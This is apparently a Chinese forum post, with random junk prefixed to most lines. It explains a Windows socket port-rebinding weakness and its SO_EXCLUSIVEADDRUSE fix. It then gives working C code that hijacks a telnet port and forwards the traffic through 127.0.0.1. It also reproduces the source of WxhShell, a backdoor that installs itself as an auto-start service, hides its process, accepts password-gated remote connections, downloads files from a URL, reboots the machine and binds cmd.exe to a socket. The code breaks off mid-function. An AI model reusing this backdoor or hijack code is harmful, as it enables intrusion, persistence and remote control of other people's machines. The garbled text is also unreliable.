在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
eN,9N]K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-i2rcH b|Emu!9U
saddr.sin_family = AF_INET;
. waw=C px K&aY8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
"nu]3zcd [M~tH *4" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
M['O`^ 77O$^fG2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3PU_STSix /"?DOsJ. 这意味着什么?意味着可以进行如下的攻击:
`hj,rF+4 &=kv69v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f|q/2}Bqb /ki-Tha 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\(j*K6# A|r3c?q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[A84R04_% ErK1j 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-t|/g5.w_ 0d_)C>gcF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
l5Bm.H_ hbx4[Pf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Cj8&wz}ez `w:kY9
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p!YK~cH[ zx}+Q B0 #include
T(*,nJi~9 #include
SKH}!Id}n #include
)DXt_leLg #include
<C'_:&M DWORD WINAPI ClientThread(LPVOID lpParam);
/"g Ryv int main()
80@\e {
B~KxUp WORD wVersionRequested;
?/3wO/7[ DWORD ret;
W|>jj$/o WSADATA wsaData;
H 1kI+YJ@ BOOL val;
B&a{,.m&q6 SOCKADDR_IN saddr;
c{/R?< SOCKADDR_IN scaddr;
eW(pP>@k, int err;
[_)`G*X(N SOCKET s;
6AAvsu: SOCKET sc;
XMI*obS'z int caddsize;
]LC4rS HANDLE mt;
O0#[hY, DWORD tid;
|})s 0TU wVersionRequested = MAKEWORD( 2, 2 );
lrv-[}} err = WSAStartup( wVersionRequested, &wsaData );
~rBFP) if ( err != 0 ) {
_
l`F}v printf("error!WSAStartup failed!\n");
kzRvLs4xM return -1;
4@-tT;$ }
_Rii19k saddr.sin_family = AF_INET;
k-|g jy!]MAP#Gk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gS+X% M#'7hm6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&IUA[{o~e saddr.sin_port = htons(23);
~][~aEat;V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
03fOm {
<J;O$S printf("error!socket failed!\n");
3$!QP
N return -1;
DA
"V) }
<=7nTcO~ val = TRUE;
TRi# //SO_REUSEADDR选项就是可以实现端口重绑定的
g9pKoi|\E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<\^o {
crIF5^3Yby printf("error!setsockopt failed!\n");
9xK>fM&u return -1;
@n)?=[p }
Z5q%L!4G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~JL
qh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k={D!4kKz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b\}a
U7x if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V|'@D#\ {
"mJo<i} ret=GetLastError();
}U_^zQfaj printf("error!bind failed!\n");
7#E/Q~]'6 return -1;
Z{^!z }
B46:LQ9[ listen(s,2);
n>v1<^ while(1)
2.Vrh@FNRo {
bPOPoq1# caddsize = sizeof(scaddr);
fS4foMI63) //接受连接请求
}h;Z_XF& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G!I++M" if(sc!=INVALID_SOCKET)
` 7iA?; {
%Y ZCdS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:g|.x if(mt==NULL)
F-3=eKZ {
_;PQt" ] printf("Thread Creat Failed!\n");
!}*vM@)1 break;
;I*t5{ }
kc2B_+Y1 }
t08U9`w CloseHandle(mt);
Eg`~mE+a }
M$EF 8 closesocket(s);
QfEJU8/5d WSACleanup();
,9ueHE return 0;
"QOQ }
PL=v,NB DWORD WINAPI ClientThread(LPVOID lpParam)
vb~%u;zrC@ {
\ZcI{t'a SOCKET ss = (SOCKET)lpParam;
>k"O3Pc@ SOCKET sc;
U^7hw(}me unsigned char buf[4096];
EcHZmf SOCKADDR_IN saddr;
h/\v+xiF long num;
y05!-G:Y\ DWORD val;
3J"`mQ DWORD ret;
uN<=v&]q //如果是隐藏端口应用的话,可以在此处加一些判断
[s^pP2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/1LN\Eu saddr.sin_family = AF_INET;
]&]G saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@TALZk'% saddr.sin_port = htons(23);
|2^mCL.r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Gk5'|s {
a^&"gGg printf("error!socket failed!\n");
}`
3- return -1;
']2Vf]dB }
z!6_u@^- val = 100;
-4QZ/ * if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LkJq Bg {
85#
3|5n ret = GetLastError();
\/1~5mQ+ return -1;
2tK~]0x }
rmw}Ui" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2Di~}* 9& {
15 {^waR6 ret = GetLastError();
3|$?T|#B return -1;
RgoF4g+@ }
i%133in if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
L?u{v X {
"-S!^h/v printf("error!socket connect failed!\n");
h:Gs9]Lvtv closesocket(sc);
+iN!$zF5] closesocket(ss);
x}a?B return -1;
GThGV" }
\Nik`v*Pd while(1)
eM$a~4!d {
vhOh3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
E~q3o* //如果是嗅探内容的话,可以再此处进行内容分析和记录
4mY^pQ1=L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0i[t[_sce num = recv(ss,buf,4096,0);
TQeIAy if(num>0)
;VCV%=W< send(sc,buf,num,0);
MMa`}wSs else if(num==0)
E*)A!2rlK break;
S3x^#83 num = recv(sc,buf,4096,0);
*}:P if(num>0)
<6]Hj2 send(ss,buf,num,0);
\KJTR0EB:> else if(num==0)
iJ58RY break;
4Ty?>'*| }
xy>$^/[$ closesocket(ss);
,eebO~7vB closesocket(sc);
\|X
1 return 0 ;
#p=+RTZ< }
%+/v")8+? 1<x5{/CZ ;t7F%cDA ==========================================================
WuVsW3@ v0WB.`rO 下边附上一个代码,,WXhSHELL
}kAE tx;2C|S$oU ==========================================================
3 a(SmM: bL<H$DB6 #include "stdafx.h"
5Zc J-=fy^S5 #include <stdio.h>
:D}?H@(69 #include <string.h>
<2j$P Y9 #include <windows.h>
5Qg*j/z? #include <winsock2.h>
nS$4[!0 #include <winsvc.h>
TS=%iMa #include <urlmon.h>
>*/
|tL f(}&8~ & #pragma comment (lib, "Ws2_32.lib")
\W_ Dz*N #pragma comment (lib, "urlmon.lib")
si%V63 ^lN `&a8Wv #define MAX_USER 100 // 最大客户端连接数
"j`T'%EV #define BUF_SOCK 200 // sock buffer
iU0jv7}n #define KEY_BUFF 255 // 输入 buffer
rfdA?X{Q0 `o_i+?E #define REBOOT 0 // 重启
i]zh8|"> #define SHUTDOWN 1 // 关机
x?6^EB|@ +Rd\*b #define DEF_PORT 5000 // 监听端口
\Q`#E'? LCRWC`%& #define REG_LEN 16 // 注册表键长度
hBZh0xy #define SVC_LEN 80 // NT服务名长度
GXx'"SK9 d?U,}tv // 从dll定义API
)jI4]6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\py&v5J)s! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mFpj@=^_G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
LfnQcI$kO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/;TD n>lq %LdBO1D0 // wxhshell配置信息
?~^p:T struct WSCFG {
"
d~M\Az int ws_port; // 监听端口
r+]a char ws_passstr[REG_LEN]; // 口令
Qc9[/4R> int ws_autoins; // 安装标记, 1=yes 0=no
z,qNuv"W char ws_regname[REG_LEN]; // 注册表键名
:'H}b*VWx char ws_svcname[REG_LEN]; // 服务名
-K^(L#G char ws_svcdisp[SVC_LEN]; // 服务显示名
|Qpo[E}a char ws_svcdesc[SVC_LEN]; // 服务描述信息
;(g"=9e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
oPAc6ObOV~ int ws_downexe; // 下载执行标记, 1=yes 0=no
K=sk1<>)m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ciHTnC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
dg N#" >hnhV6ss };
}&ew}'*9) qqYQ/4Ajw // default Wxhshell configuration
) \cnz struct WSCFG wscfg={DEF_PORT,
}sZy |dd "xuhuanlingzhe",
y(Pv1=e 1,
Sr6iQxE "Wxhshell",
;%n(ARZ# "Wxhshell",
_}`y3"CD7 "WxhShell Service",
{yBd{x<>/ "Wrsky Windows CmdShell Service",
-RThd" "Please Input Your Password: ",
E&vCzQ 1,
cJ,`71xop, "
http://www.wrsky.com/wxhshell.exe",
"g!/^A!! "Wxhshell.exe"
9zehwl]~ };
gcM(K.n kvN6K6 // 消息定义模块
|[bQJ<v6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=:RNpi, char *msg_ws_prompt="\n\r? for help\n\r#>";
>vfLlYx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)/v`k>E char *msg_ws_ext="\n\rExit.";
b!;WF
char *msg_ws_end="\n\rQuit.";
4=ha$3h$ char *msg_ws_boot="\n\rReboot...";
YBk* CW9 char *msg_ws_poff="\n\rShutdown...";
uvD*]zX char *msg_ws_down="\n\rSave to ";
Mb%[Qp60 j;rxr1+w char *msg_ws_err="\n\rErr!";
l~`JFWur] char *msg_ws_ok="\n\rOK!";
\ ]h$8JwV J:;nN-\j char ExeFile[MAX_PATH];
#b=*hi`E int nUser = 0;
No/D"S# HANDLE handles[MAX_USER];
_ZuI x=! int OsIsNt;
zy9W{{:P(1 GsWf$/iC: SERVICE_STATUS serviceStatus;
oW/H8 q<wY SERVICE_STATUS_HANDLE hServiceStatusHandle;
6nk.q|n:g oA
]F`N= // 函数声明
DVbY int Install(void);
,Hc,]TPC4
int Uninstall(void);
o,
qBMo^. int DownloadFile(char *sURL, SOCKET wsh);
P$A'WEO' int Boot(int flag);
|SsmVW$B| void HideProc(void);
MB5X$5it int GetOsVer(void);
Of$gs- int Wxhshell(SOCKET wsl);
Eid~4a void TalkWithClient(void *cs);
>3ASrM+>w int CmdShell(SOCKET sock);
|VX0o2 int StartFromService(void);
h3-dJgb int StartWxhshell(LPSTR lpCmdLine);
s[/)v: /%^^hr VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Fc"+L+h@W VOID WINAPI NTServiceHandler( DWORD fdwControl );
O6!:Qd m3b?f B // 数据结构和表定义
1b"3]? SERVICE_TABLE_ENTRY DispatchTable[] =
}l@7t&T| {
3n TpL# {wscfg.ws_svcname, NTServiceMain},
=hKu85 {NULL, NULL}
g>Kh? ( };
5NYYrA8,^ cA
B^]j // 自我安装
ZP7wS int Install(void)
oo,3mat2C {
(<5&<JC{ char svExeFile[MAX_PATH];
0bMbM^xV6 HKEY key;
T+<OlXpL strcpy(svExeFile,ExeFile);
o,y{fv:ki /\uW[mt // 如果是win9x系统,修改注册表设为自启动
|Q~5TL>b if(!OsIsNt) {
:sb+jk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"C%* 'k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^cYt4NHXn RegCloseKey(key);
ZGWZ2>k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q-S5(" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/T/7O RegCloseKey(key);
GI*2*m!u return 0;
2Y{r2m|o }
_M}}H3 }
|/p2DU2 }
/H[ !v:U else {
q1o)l \wo'XF3: // 如果是NT以上系统,安装为系统服务
~bk+JK- > SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W(UrG]J*l if (schSCManager!=0)
#_OrS/H {
lw 9rf4RF SC_HANDLE schService = CreateService
<D M:YWNa (
i/WiSwh: schSCManager,
8Ow0A wscfg.ws_svcname,
GGwHz]1L wscfg.ws_svcdisp,
be{t yV
SERVICE_ALL_ACCESS,
*+'l|VaVq\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
.1& F p SERVICE_AUTO_START,
0(dXU\Y SERVICE_ERROR_NORMAL,
ns1@=f cO svExeFile,
n*fsdo~ NULL,
5;-?qcb^w NULL,
f)K1j{TZ NULL,
8a4&}^| NULL,
E#cZM> NULL
.9;wJ9Bw[ );
5%Q[X
if (schService!=0)
rN^P// {
eMC0
)B CloseServiceHandle(schService);
_-g?6q CloseServiceHandle(schSCManager);
u9%)_Q!14 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}7jg>3ng( strcat(svExeFile,wscfg.ws_svcname);
%phv <AW if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Nt'u;0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5hbQUF
,Q RegCloseKey(key);
Syj7K*,%bZ return 0;
O(QJiS }
^iq$zHbc0u }
DR6 OR B7 CloseServiceHandle(schSCManager);
x,SzZ)l-9 }
UN*XLHio }
wsNM'~( Mw+8p}E return 1;
*6e 5T }
d4zqLD$A ^d2bl,1 // 自我卸载
c,I|O'
&k int Uninstall(void)
cU'^
Ja?% {
C6C7*ks HKEY key;
Z,osdF q9&d24| if(!OsIsNt) {
^g56:j~? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
77ID
82 RegDeleteValue(key,wscfg.ws_regname);
h0fbc;l RegCloseKey(key);
GM<r{6Qy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&<sN(;%0R RegDeleteValue(key,wscfg.ws_regname);
Q@lJ| RegCloseKey(key);
G}b LWA return 0;
J<{@D9r9<~ }
M _z-~G }
bJE$> }
M6b;
DQ else {
isP4*g&%x a~F`{(Q2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
t~0}Emgp<( if (schSCManager!=0)
jreY'y: {
wz P")}[0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"sf]I[a if (schService!=0)
`)W}4itm
{
#Mz N7 if(DeleteService(schService)!=0) {
w<]Wg^dyQ CloseServiceHandle(schService);
8HyK;+ZkVd CloseServiceHandle(schSCManager);
.Lk2S "+ return 0;
@9pk-BB^D }
wb
}W;C@ CloseServiceHandle(schService);
zV }-_u. }
An e.sS CloseServiceHandle(schSCManager);
T?+xx^wYk }
vO)nqtw }
2ajQ*aNq Y`u.P(7# return 1;
q)uq?sZe }
@"m?
#
C9q`x2 // 从指定url下载文件
^vmyiF int DownloadFile(char *sURL, SOCKET wsh)
o|nj2 . {
5[|MO.CB$ HRESULT hr;
8L?35[]e char seps[]= "/";
;ml;{<jI char *token;
TY=BP!s char *file;
zA![c l>$ char myURL[MAX_PATH];
@])qw_ char myFILE[MAX_PATH];
'lU9*e9 ;!k1LfN strcpy(myURL,sURL);
*p.P/w@1 token=strtok(myURL,seps);
$siiG|)C1 while(token!=NULL)
B=/*8,u {
he/UvMu file=token;
.s_wP token=strtok(NULL,seps);
~T')s-,l,: }
5s>$ sYt8NsQ GetCurrentDirectory(MAX_PATH,myFILE);
3H%oTgWk strcat(myFILE, "\\");
> @ulvHL strcat(myFILE, file);
P(W7,GD,k send(wsh,myFILE,strlen(myFILE),0);
/R< Q~G|\ send(wsh,"...",3,0);
xOjCF&W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=J,aB p if(hr==S_OK)
Ywf.,V return 0;
|/g\N,] else
Zjt3U;Y return 1;
DiAPs_@ 7:1c5F~M }
EY(@R2~#J 9z,?DBMvc // 系统电源模块
<dzE5]%\ int Boot(int flag)
C,w$)x5kls {
ztG_::QtG] HANDLE hToken;
?Ee HeN_ TOKEN_PRIVILEGES tkp;
n2R{$^JxO }Y5Sf"~M if(OsIsNt) {
gUCv#: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
YXH9Q@Gn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oSt-w{! tkp.PrivilegeCount = 1;
P'Jw: )k( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.3,s4\.kT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
JQ%`]=n(/ if(flag==REBOOT) {
iuq-M?1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z^AACKME return 0;
i` Es7 } }
}`yIO"{8n else {
MOyQ4<_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
un[Z$moN" return 0;
#5T+P8 }
L^VG?J
}
<!&&Qd-d6H else {
DL2gui3 if(flag==REBOOT) {
;KmSz 1A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
POc<
G^ return 0;
~l-Q0wg }
"}|n;:r else {
<UG}P \N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`I<*R0Qe return 0;
!E> *Mn }
;y?,myO }
\{n]&IjA i
4eb\j return 1;
1P4jdp=~ }
oa+Rr&t' 0?ZJJdI3 // win9x进程隐藏模块
_ 9Tv*@ void HideProc(void)
5-bd1!o {
QdG_zK>|e 9S.Uo[YY HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
/+Xv(B if ( hKernel != NULL )
?T70C9 {
}7vX4{Yn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@q2Yka ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:h N* FreeLibrary(hKernel);
&-9wUZ }
rZ1${/6 ow
~(k5k: return;
_ EHr?b2 }
Y,B0=} ,'F;s:WM, // 获取操作系统版本
kVQKP U int GetOsVer(void)
Jk|c!,! {
DVRE ;+Jt OSVERSIONINFO winfo;
m"~$JA u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[z`U9J GetVersionEx(&winfo);
_5.^A&Y* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
W=o90TwbN return 1;
}V?SedsY else
6.2_UN^< return 0;
d)(61 }
:Cw|BX@??U S[{#AX=0 // 客户端句柄模块
8MM#q+8 int Wxhshell(SOCKET wsl)
Tul_/` An {
|~CN]N SOCKET wsh;
v-X1if1% struct sockaddr_in client;
?I`']|I DWORD myID;
G1vWHa7n;f 91r#lDR while(nUser<MAX_USER)
R|ViLt y {
Tv3Bej int nSize=sizeof(client);
F>)u<f,C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
93[c^sc9*a if(wsh==INVALID_SOCKET) return 1;
v$w!hYsQ h2!We# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\Zqgr/.w/ if(handles[nUser]==0)
kp[+Iun? closesocket(wsh);
I2qC,Nkk else
I)]wi% nUser++;
2md1GWyP }
n!&DLB1z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k(><kuJ`3 U"A]b(54 return 0;
'AE)&56 }
r@H<@Vuc vN-#Ej.
u // 关闭 socket
iQZgs@ void CloseIt(SOCKET wsh)
Lc f =)GL {
1[a;2xA~ closesocket(wsh);
$&='&q nUser--;
*;(LKRV ExitThread(0);
B[!wo }
ATv.3cy UW<V(6P // 客户端请求句柄
qXkc~{W_ void TalkWithClient(void *cs)
HjbC>* {
/fWVgyW>6 k ;R*mg*K SOCKET wsh=(SOCKET)cs;
Ti!j char pwd[SVC_LEN];
QSW62]=vV char cmd[KEY_BUFF];
/);cl;" char chr[1];
f:G Zb?Wyd int i,j;
dOqn0Z "Git@%80 while (nUser < MAX_USER) {
DT8|2"H >0=` 3X|Y7 if(wscfg.ws_passstr) {
tEf_XBjKV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3lqR(Hh3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V{O,O,* //ZeroMemory(pwd,KEY_BUFF);
.%h.b6^ i=0;
B9/x?Jv1 while(i<SVC_LEN) {
'%yWz)P s@E"EWp0 // 设置超时
} '. l'% fd_set FdRead;
#qGfo) struct timeval TimeOut;
;+g
p#&i` FD_ZERO(&FdRead);
:Oo(w%BD] FD_SET(wsh,&FdRead);
4iBp!k7 TimeOut.tv_sec=8;
KY<>S/ TimeOut.tv_usec=0;
B@Ez,u5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+#}I^N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:seo0w] |Ma"B4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
13I
7ah pwd
=chr[0]; {j+w|;dZF
if(chr[0]==0xd || chr[0]==0xa) { p\wE})mu
pwd=0; # nwEF QA
break; n|Iy
} 3<1Uq3Pa
i++; w-2p'u['Z
} ^<'5 V)
Y'&A~/Adf
// 如果是非法用户,关闭 socket ` =RJ8u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qa~o'
} 6&S;Nrg9
E'?yI'~=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t?L;k+sMM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9w^1/t&=04
M2(+}gv;7p
while(1) { \]e"#"v}}_
2K'3ry)[y
ZeroMemory(cmd,KEY_BUFF); ^I@1y}xi
ZWQrG'$?o8
// 自动支持客户端 telnet标准 k]!Fh^O~,
j=0; r9sW:cM:e
while(j<KEY_BUFF) { hW$B;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V~tq
_
cmd[j]=chr[0]; 1hw1AJ}(F
if(chr[0]==0xa || chr[0]==0xd) { aB;syl{
cmd[j]=0; Q>] iRx>MZ
break; ^&MMtWR
} $J>GCY
j++; acz8
H0cS
} %Wkvo-rOq
;t{Ew+s
// 下载文件 dFFJw[$8w
if(strstr(cmd,"http://")) { 47ra`*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "jH=O(37
if(DownloadFile(cmd,wsh)) dElOy?v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@X?~4Idz
else eEePK~%c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <RS@,
} laG@SV
else { Z|K+{{C
5:6as^i:b
switch(cmd[0]) { v*SSc5gFG
AA"?2dF
// 帮助 N@lTn}U
case '?': { LF vKF .
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zs<W>gBq
break; (=}cc
} Mo\LFxx>4{
// 安装 :p0|4g
case 'i': { :'9%~q.D4
if(Install()) HpSmB[WF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?$kcI4
else ]ppi962Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y.AVH`_u
break; \Z-T)7S
} kRo
dC(f
@
// 卸载 4NT zK
case 'r': { ")'o5V
if(Uninstall()) YhYcqE8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0OO$(R*
else 3o&PVU?Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s+&Ts|c#
break; e>vV8a\
} +e?mKLw14
// 显示 wxhshell 所在路径 eR PmN
case 'p': { p%toD{$
char svExeFile[MAX_PATH]; 8d|omqe~P
strcpy(svExeFile,"\n\r"); *{8<4CVv
strcat(svExeFile,ExeFile); bCr) 3,
send(wsh,svExeFile,strlen(svExeFile),0); C` ?6`$Y
break; 86NAa6BW
} W iql c
// 重启 u;\:#721
case 'b': { kY*3)KCp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,S5tkTa
if(Boot(REBOOT)) M24FuS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V9[-# Ti
else {
k>y68_
closesocket(wsh); ~SgW+sDFu
ExitThread(0); tgXIj5z
} {j
i;~9'Q
break; c6FKpdn%
} yQ5&S]Xk$$
// 关机 c`}-i6
case 'd': { ivg:`$a[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v'nM=
if(Boot(SHUTDOWN)) ]H<5]({F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$F4/2|b%
else { `##qf@M
closesocket(wsh); ~nJcHJ1nb4
ExitThread(0); T&Z%=L_Q
} ,RIGV[u
break; Q;{[U!\:
} gZ%wmY
// 获取shell GWo^hIfJ
case 's': { iJ.P&T9
CmdShell(wsh); `X[L62D
closesocket(wsh); m8'B7|s
ExitThread(0); I{Hl2?CnI,
break; PhF.\Wb
} e FDhJ
// 退出 ?O(KmDH
case 'x': { 4|*b{Ni
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t
I}@1
CloseIt(wsh); Ah:!
break; w@RVg*`%7D
} kx,9n)
// 离开 VeK^hz
R^Z
case 'q': { GyI(1OAW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?mKj+Bk2
closesocket(wsh); *#+e_)d
WSACleanup(); 3]xe7F'`
exit(1); 0I_A$Z,x
break; 'PPVM@)fU
} 4/YEkD
} / *3[9,
} G{$(t\>8
:K&>
// 提示信息 @8WG
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i(DoAfYf/q
} XQL"D)fw
} Sh'>5z2
rmpx8CY"
return; k8fvg4
} lU]/nKyd
%gj's-!!
// shell模块句柄 (2J_Y*N~>
int CmdShell(SOCKET sock) n';"c;Ye)
{ -L e:%q2
STARTUPINFO si; 3=o^Vv
ZeroMemory(&si,sizeof(si)); t}m6];
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZqKUz5M4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :M" NB+T
PROCESS_INFORMATION ProcessInfo; Fx#0
:p
char cmdline[]="cmd"; )=VSERs
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K..L8#SC
return 0; )o!y7MTl
} 0{M=^96
;\(Wz5Ok&J
// 自身启动模式 1(!w xJ
int StartFromService(void) p&1IK8i"
{ v&g(6~b_>
typedef struct VsS.\1
{ :NB|r
DWORD ExitStatus; i!
G^=N
DWORD PebBaseAddress; vt{s"\f
DWORD AffinityMask; ;0*T7l
DWORD BasePriority; 9y=$|"<(
ULONG UniqueProcessId; K07SbL7g!p
